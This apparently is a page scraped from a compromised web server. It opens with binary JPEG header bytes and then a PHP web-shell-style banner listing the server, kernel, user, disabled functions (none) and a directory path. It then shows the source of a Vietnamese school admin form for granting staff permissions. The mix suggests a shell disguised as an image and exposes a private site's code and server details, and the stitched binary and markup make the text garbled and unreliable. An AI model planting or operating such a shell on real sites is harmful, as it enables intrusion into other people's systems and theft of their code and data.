���� JFIF �� � ( %"1"%)+...383,7(-.-
![]() Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20 System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64 User : apache ( 48) PHP Version : 7.4.20 Disable Function : NONE Directory : /var/www/html/admin.adimi/code/management/staff/ |
<form action="?act=management&code=staff&type=rule" method="post"> <div class="card"> <div class="card-header">Danh sách các quyền <input type="checkbox" id="check_all"></div> <div class="card-body"> <table class="table table-bordered"> <?php echo $txt_rule;?> </table> </div> <div class="card-footer"> <input type="submit" name="submitbt" class="btn btn-info" value="Cấp quyền"> </div> </div> </form> <script> $('#check_all').click(function (){ if ($(this).is(':checked')) { $('input[type=checkbox]').prop('checked',true); }else{ $('input[type=checkbox]').prop('checked',false); } }); $('.check_teacher_id').click(function (){ var teacher_id = $(this).val(); if ($(this).is(':checked')) { $('.check_teacher_id_'+teacher_id).prop('checked',true); } else { $('.check_teacher_id_'+teacher_id).prop('checked',false); } }); $('.check_module_cat_id').click(function (){ var module_cat_id = $(this).val(); if ($(this).is(':checked')) { $('.check_module_cat_id_'+module_cat_id).prop('checked',true); } else { $('.check_module_cat_id_'+module_cat_id).prop('checked',false); } }); </script>